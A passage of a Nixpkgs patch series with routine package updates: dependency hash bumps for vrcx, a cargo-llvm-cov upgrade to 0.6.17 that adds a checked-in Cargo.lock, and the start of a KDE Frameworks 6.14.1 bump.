     "pname": "System.CodeDom",
-    "version": "9.0.4",
-    "hash": "sha256-X8IDHw/ssp0vgPSnyM/tmDTb3poH6GLe+gZ4MR9qfho="
+    "version": "9.0.6",
+    "hash": "sha256-vcKv5qTborX8E4Uy7T/hqWRii35Icw1siDWPJenk9K8="
   },
   {
     "pname": "System.Collections",
@@ -571,8 +576,8 @@
   },
   {
     "pname": "System.Drawing.Common",
-    "version": "9.0.4",
-    "hash": "sha256-taudg5yVeaNrgvD9LMEumByKE0G032jp9s9AGfKYI9A="
+    "version": "9.0.6",
+    "hash": "sha256-uQDdDVOu3G39PPa1SbE7bHfTzQBAGzL705UklWl/y2I="
   },
   {
     "pname": "System.Globalization",
@@ -626,8 +631,8 @@
   },
   {
     "pname": "System.Management",
-    "version": "9.0.4",
-    "hash": "sha256-+sW/NQELaBGjUfzndaNLPHKKQVdI1yOJMaqF4tV2SVY="
+    "version": "9.0.6",
+    "hash": "sha256-dZ46TTekJCMfgfRsz6qjJpa0IzPxlm8XXyYmP6msNZY="
   },
   {
     "pname": "System.Memory",
@@ -881,8 +886,8 @@
   },
   {
     "pname": "System.Text.Json",
-    "version": "9.0.4",
-    "hash": "sha256-oIOqfOIIUXXVkfFiTCI9wwIJBETQqF7ZcOJv2iYuq1s="
+    "version": "9.0.6",
+    "hash": "sha256-WC/QbZhTaoZ3PbDKcFvJwMIA4xLUdnMrAXGlOW87VNY="
   },
   {
     "pname": "System.Text.RegularExpressions",
@@ -956,7 +961,7 @@
   },
   {
     "pname": "Websocket.Client",
-    "version": "5.1.2",
-    "hash": "sha256-T0uXa9hAr3+9cvpJ/FVwtqNmE7QvSJxXsIoWV624cHs="
+    "version": "5.2.0",
+    "hash": "sha256-5sVfK1iHclxunfm0ioSFFyo5tG8lPfchClBi4YgeJT4="
   }
 ]
diff --git a/pkgs/by-name/vr/vrcx/package.nix b/pkgs/by-name/vr/vrcx/package.nix
index 0e7be5909138..a74442d1fd93 100644
--- a/pkgs/by-name/vr/vrcx/package.nix
+++ b/pkgs/by-name/vr/vrcx/package.nix
@@ -4,7 +4,7 @@
   buildDotnetModule,
   dotnetCorePackages,
   buildNpmPackage,
-  electron_35,
+  electron_36,
   makeWrapper,
   copyDesktopItems,
   makeDesktopItem,
@@ -12,15 +12,16 @@
 }:
 let
   pname = "vrcx";
-  version = "2025.05.09";
+  version = "2025.06.30";
   dotnet = dotnetCorePackages.dotnet_9;
-  electron = electron_35;
+  electron = electron_36;
 
   src = fetchFromGitHub {
     owner = "vrcx-team";
     repo = "VRCX";
-    tag = "v${version}";
-    hash = "sha256-sqdDucjERHC5YykisFDiBOJw40snsldBcuCH1FAahSo=";
+    # v2025.06.30 tag didn't bump the version
+    rev = "4a630079d778069293a39e5b7f7fdb3f543590da";
+    hash = "sha256-GBSkwfi9uvmBg3crnE9CYKDWzekrPjhSq9kDJzmf3bM=";
   };
 
   backend = buildDotnetModule {
@@ -45,7 +46,7 @@ in
 buildNpmPackage {
   inherit pname version src;
 
-  npmDepsHash = "sha256-sXWKsW9vPyq1oK9ysJod3uAUOICsK/TBLbSekT1SO+k=";
+  npmDepsHash = "sha256-x84l1+gRH2qADofYwyrEOeE4WJwqTqVB0L3JRxbscmM=";
   npmFlags = [ "--ignore-scripts" ];
   makeCacheWritable = true;
 

From 5d1d7b638d1a0503cd67a700d9af02138b6d4595 Mon Sep 17 00:00:00 2001
From: Charles Hall <charles@computer.surgery>
Date: Mon, 7 Jul 2025 00:14:01 -0700
Subject: [PATCH 2111/4511] cargo-llvm-cov: 0.6.14 -> 0.6.17

In releasing 0.6.17, upstream's Cargo.lock published to crates.io no
longer works with `--offline` because it omits a new git dev-dependency,
despite those being permitted by crates.io. Unfortunately, at this
point, it seems like checking Cargo.lock directly into Nixpkgs is the
best (i.e. not overly convoluted) option.

(cherry picked from commit 007039e8a2eeb8acc60968e71155c15a3b56f22f)
---
 pkgs/by-name/ca/cargo-llvm-cov/Cargo.lock  | 727 +++++++++++++++++++++
 pkgs/by-name/ca/cargo-llvm-cov/package.nix |  28 +-
 2 files changed, 737 insertions(+), 18 deletions(-)
 create mode 100644 pkgs/by-name/ca/cargo-llvm-cov/Cargo.lock

diff --git a/pkgs/by-name/ca/cargo-llvm-cov/Cargo.lock b/pkgs/by-name/ca/cargo-llvm-cov/Cargo.lock
new file mode 100644
index 000000000000..d8acc72693fc
--- /dev/null
+++ b/pkgs/by-name/ca/cargo-llvm-cov/Cargo.lock
@@ -0,0 +1,727 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "aho-corasick"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "anyhow"
+version = "1.0.98"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487"
+
+[[package]]
+name = "autocfg"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
+
+[[package]]
+name = "bitflags"
+version = "2.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
+
+[[package]]
+name = "bstr"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "234113d19d0d7d613b40e86fb654acf958910802bcceab913a4f9e7cda03b1a4"
+dependencies = [
+ "memchr",
+ "regex-automata",
+ "serde",
+]
+
+[[package]]
+name = "camino"
+version = "1.1.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0da45bc31171d8d6960122e222a67740df867c1dd53b4d51caa297084c185cab"
+
+[[package]]
+name = "cargo-config2"
+version = "0.1.34"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a82de3b1a1dd72252c6d456247864ffe52110d109da949f579eeb16349e0eb5d"
+dependencies = [
+ "serde",
+ "serde_derive",
+ "toml_edit",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "cargo-llvm-cov"
+version = "0.6.17"
+dependencies = [
+ "anyhow",
+ "camino",
+ "cargo-config2",
+ "duct",
+ "fs-err",
+ "glob",
+ "lcov2cobertura",
+ "lexopt",
+ "opener",
+ "regex",
+ "rustc-demangle",
+ "rustversion",
+ "ruzstd",
+ "serde",
+ "serde_derive",
+ "serde_json",
+ "shell-escape",
+ "tar",
+ "tempfile",
+ "termcolor",
+ "test-helper",
+ "walkdir",
+]
+
+[[package]]
+name = "cfg-if"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
+
+[[package]]
+name = "duct"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6ce170a0e8454fa0f9b0e5ca38a6ba17ed76a50916839d217eb5357e05cdfde"
+dependencies = [
+ "libc",
+ "os_pipe",
+ "shared_child",
+ "shared_thread",
+]
+
+[[package]]
+name = "equivalent"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
+
+[[package]]
+name = "errno"
+version = "0.3.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
+dependencies = [
+ "libc",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "fastrand"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
+
+[[package]]
+name = "filetime"
+version = "0.2.25"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "35c0522e981e68cbfa8c3f978441a5f34b30b96e146b33cd3359176b50fe8586"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "libredox",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "fs-err"
+version = "3.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "88d7be93788013f265201256d58f04936a8079ad5dc898743aa20525f503b683"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "glob"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
+
+[[package]]
+name = "hashbrown"
+version = "0.15.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5971ac85611da7067dbfcabef3c70ebb5606018acd9e2a3903a0da507521e0d5"
+
+[[package]]
+name = "indexmap"
+version = "2.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
+dependencies = [
+ "equivalent",
+ "hashbrown",
+]
+
+[[package]]
+name = "itoa"
+version = "1.0.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
+
+[[package]]
+name = "lcov2cobertura"
+version = "1.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aaa0cf456e88a45378a5737f228c0800175d94be6856908dc4718b3a91c7c9f8"
+dependencies = [
+ "anyhow",
+ "quick-xml",
+ "regex",
+ "rustc-demangle",
+]
+
+[[package]]
+name = "lexopt"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9fa0e2a1fcbe2f6be6c42e342259976206b383122fc152e872795338b5a3f3a7"
+
+[[package]]
+name = "libc"
+version = "0.2.174"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
+
+[[package]]
+name = "libredox"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1580801010e535496706ba011c15f8532df6b42297d2e471fec38ceadd8c0638"
+dependencies = [
+ "bitflags",
+ "libc",
+ "redox_syscall",
+]
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
+
+[[package]]
+name = "memchr"
+version = "2.7.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
+
+[[package]]
+name = "normpath"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c8911957c4b1549ac0dc74e30db9c8b0e66ddcd6d7acc33098f4c63a64a6d7ed"
+dependencies = [
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "opener"
+version = "0.8.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "771b9704f8cd8b424ec747a320b30b47517a6966ba2c7da90047c16f4a962223"
+dependencies = [
+ "bstr",
+ "normpath",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "os_pipe"
+version = "1.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db335f4760b14ead6290116f2427bf33a14d4f0617d49f78a246de10c1831224"
+dependencies = [
+ "libc",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.95"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quick-xml"
+version = "0.37.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "331e97a1af0bf59823e6eadffe373d7b27f485be8748f71471c662c1f269b7fb"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.40"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "redox_syscall"
+version = "0.5.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0d04b7d0ee6b4a0207a0a7adb104d23ecb0b47d6beae7152d0fa34b692b29fd6"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "regex"
+version = "1.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-automata",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-automata"
+version = "0.4.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-syntax"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
+
+[[package]]
+name = "rustc-demangle"
+version = "0.1.25"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "989e6739f80c4ad5b13e0fd7fe89531180375b18520cc8c82080e4dc4035b84f"
+
+[[package]]
+name = "rustix"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266"
+dependencies = [
+ "bitflags",
+ "errno",
+ "libc",
+ "linux-raw-sys",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "rustversion"
+version = "1.0.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
+
+[[package]]
+name = "ruzstd"
+version = "0.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3640bec8aad418d7d03c72ea2de10d5c646a598f9883c7babc160d91e3c1b26c"
+
+[[package]]
+name = "ryu"
+version = "1.0.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
+
+[[package]]
+name = "same-file"
+version = "1.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
+dependencies = [
+ "winapi-util",
+]
+
+[[package]]
+name = "serde"
+version = "1.0.219"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
+dependencies = [
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_derive"
+version = "1.0.219"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "serde_json"
+version = "1.0.140"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
+dependencies = [
+ "itoa",
+ "memchr",
+ "ryu",
+ "serde",
+]
+
+[[package]]
+name = "serde_spanned"
+version = "0.6.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "shared_child"
+version = "1.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e362d9935bc50f019969e2f9ecd66786612daae13e8f277be7bfb66e8bed3f7"
+dependencies = [
+ "libc",
+ "sigchld",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "shared_thread"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7a6f98357c6bb0ebace19b22220e5543801d9de90ffe77f8abb27c056bac064"
+
+[[package]]
+name = "shell-escape"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "45bb67a18fa91266cc7807181f62f9178a6873bfad7dc788c42e6430db40184f"
+
+[[package]]
+name = "sigchld"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "47106eded3c154e70176fc83df9737335c94ce22f821c32d17ed1db1f83badb1"
+dependencies = [
+ "libc",
+ "os_pipe",
+ "signal-hook",
+]
+
+[[package]]
+name = "signal-hook"
+version = "0.3.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d881a16cf4426aa584979d30bd82cb33429027e42122b169753d6ef1085ed6e2"
+dependencies = [
+ "libc",
+ "signal-hook-registry",
+]
+
+[[package]]
+name = "signal-hook-registry"
+version = "1.4.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9203b8055f63a2a00e2f593bb0510367fe707d7ff1e5c872de2f537b339e5410"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.104"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "tar"
+version = "0.4.44"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d863878d212c87a19c1a610eb53bb01fe12951c0501cf5a0d65f724914a667a"
+dependencies = [
+ "filetime",
+ "libc",
+ "xattr",
+]
+
+[[package]]
+name = "tempfile"
+version = "3.20.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
+dependencies = [
+ "fastrand",
+ "once_cell",
+ "rustix",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "termcolor"
+version = "1.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755"
+dependencies = [
+ "winapi-util",
+]
+
+[[package]]
+name = "test-helper"
+version = "0.0.0"
+source = "git+https://github.com/taiki-e/test-helper.git?rev=f38a7f5#f38a7f5895cb5f562195c6116cffc139d712acf5"
+dependencies = [
+ "fs-err",
+]
+
+[[package]]
+name = "toml_datetime"
+version = "0.6.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "toml_edit"
+version = "0.22.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
+dependencies = [
+ "indexmap",
+ "serde",
+ "serde_spanned",
+ "toml_datetime",
+ "winnow",
+]
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
+
+[[package]]
+name = "walkdir"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"
+dependencies = [
+ "same-file",
+ "winapi-util",
+]
+
+[[package]]
+name = "winapi-util"
+version = "0.1.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
+dependencies = [
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.59.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
+dependencies = [
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.60.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
+dependencies = [
+ "windows-targets 0.53.2",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.6",
+ "windows_aarch64_msvc 0.52.6",
+ "windows_i686_gnu 0.52.6",
+ "windows_i686_gnullvm 0.52.6",
+ "windows_i686_msvc 0.52.6",
+ "windows_x86_64_gnu 0.52.6",
+ "windows_x86_64_gnullvm 0.52.6",
+ "windows_x86_64_msvc 0.52.6",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.53.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef"
+dependencies = [
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
+
+[[package]]
+name = "winnow"
+version = "0.7.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74c7b26e3480b707944fc872477815d29a8e429d2f93a1ce000f5fa84a15cbcd"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "xattr"
+version = "1.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "af3a19837351dc82ba89f8a125e22a3c475f05aba604acc023d62b2739ae2909"
+dependencies = [
+ "libc",
+ "rustix",
+]
diff --git a/pkgs/by-name/ca/cargo-llvm-cov/package.nix b/pkgs/by-name/ca/cargo-llvm-cov/package.nix
index 1ad5df27c772..3445b35b6245 100644
--- a/pkgs/by-name/ca/cargo-llvm-cov/package.nix
+++ b/pkgs/by-name/ca/cargo-llvm-cov/package.nix
@@ -16,7 +16,6 @@
 {
   stdenv,
   lib,
-  fetchurl,
   fetchFromGitHub,
   rustPlatform,
   llvmPackages_19,
@@ -25,24 +24,12 @@
 
 let
   pname = "cargo-llvm-cov";
-  version = "0.6.14";
+  version = "0.6.17";
 
   owner = "taiki-e";
   homepage = "https://github.com/${owner}/${pname}";
 
   inherit (llvmPackages_19) llvm;
-
-  # Download `Cargo.lock` from crates.io so we don't clutter up Nixpkgs
-  cargoLock = fetchurl {
-    name = "Cargo.lock";
-    url = "https://crates.io/api/v1/crates/${pname}/${version}/download";
-    sha256 = "sha256-f0xO+UxB9f6q6q8QyjtP+z+U146+8GLmLKgGmAs/YYA=";
-    downloadToTemp = true;
-    postFetch = ''
-      tar xzf $downloadedFile ${pname}-${version}/Cargo.lock
-      mv ${pname}-${version}/Cargo.lock $out
-    '';
-  };
 in
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -54,16 +41,21 @@ rustPlatform.buildRustPackage (finalAttrs: {
     inherit owner;
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-iJrnNDSMich5OzEbPgnQWLVz6Zj/MUIzEsaBzqVdoDg=";
+    sha256 = "sha256-0Dgcl1r+j86WVhkyJNJxUnk85vrtD1fBBxfJkV0mcAI=";
   };
 
   # Upstream doesn't include the lockfile so we need to add it back
-  postUnpack = ''
-    cp ${cargoLock} ${finalAttrs.src.name}/Cargo.lock
+  postPatch = ''
+    ln -s ${./Cargo.lock} Cargo.lock
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Sr56iu51WjVi8qCqSRjix/e6NNvRmqIvAOlgSArF48I=";
+  cargoLock = {
+    lockFile = ./Cargo.lock;
+    outputHashes = {
+      "test-helper-0.0.0" = "sha256-MjylM9agdGIGMp1Iip/jolHCzErST2XiEl5PIqt+ykg=";
+    };
+  };
 
   # `cargo-llvm-cov` reads these environment variables to find these binaries,
   # which are needed to run the tests

From 13beb986b82f17f55c1cf02e8662ddca31c50270 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sat, 17 May 2025 10:26:25 +0300
Subject: [PATCH 2112/4511] kdePackages: Frameworks 6.14.0 -> 6.14.1

Fixes a common Kirigami crasher and Chromium browsers being stuck
on startup for 60 seconds.

(cherry picked from commit 1a766944dcd0dbb4d0b925083f27521fd45e0902)
---
 pkgs/kde/generated/sources/frameworks.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/kde/generated/sources/frameworks.json b/pkgs/kde/generated/sources/frameworks.json
index 4201331259ff..485229137256 100644
--- a/pkgs/kde/generated/sources/frameworks.json
+++ b/pkgs/kde/generated/sources/frameworks.json
@@ -180,9 +180,9 @@
     "hash": "sha256-mwN0b9AIUEqW9Wnzetj/kCzHFJXn4SPao8beef8qzEU="
   },
   "kirigami": {
-    "version": "6.14.0",
-    "url": "mirror://kde/stable/frameworks/6.14/kirigami-6.14.0.tar.xz",
-    "hash": "sha256-Fixim6UOfa5EOe9QJyoMFQy6s3FBWn0esWDb42OPYZo="
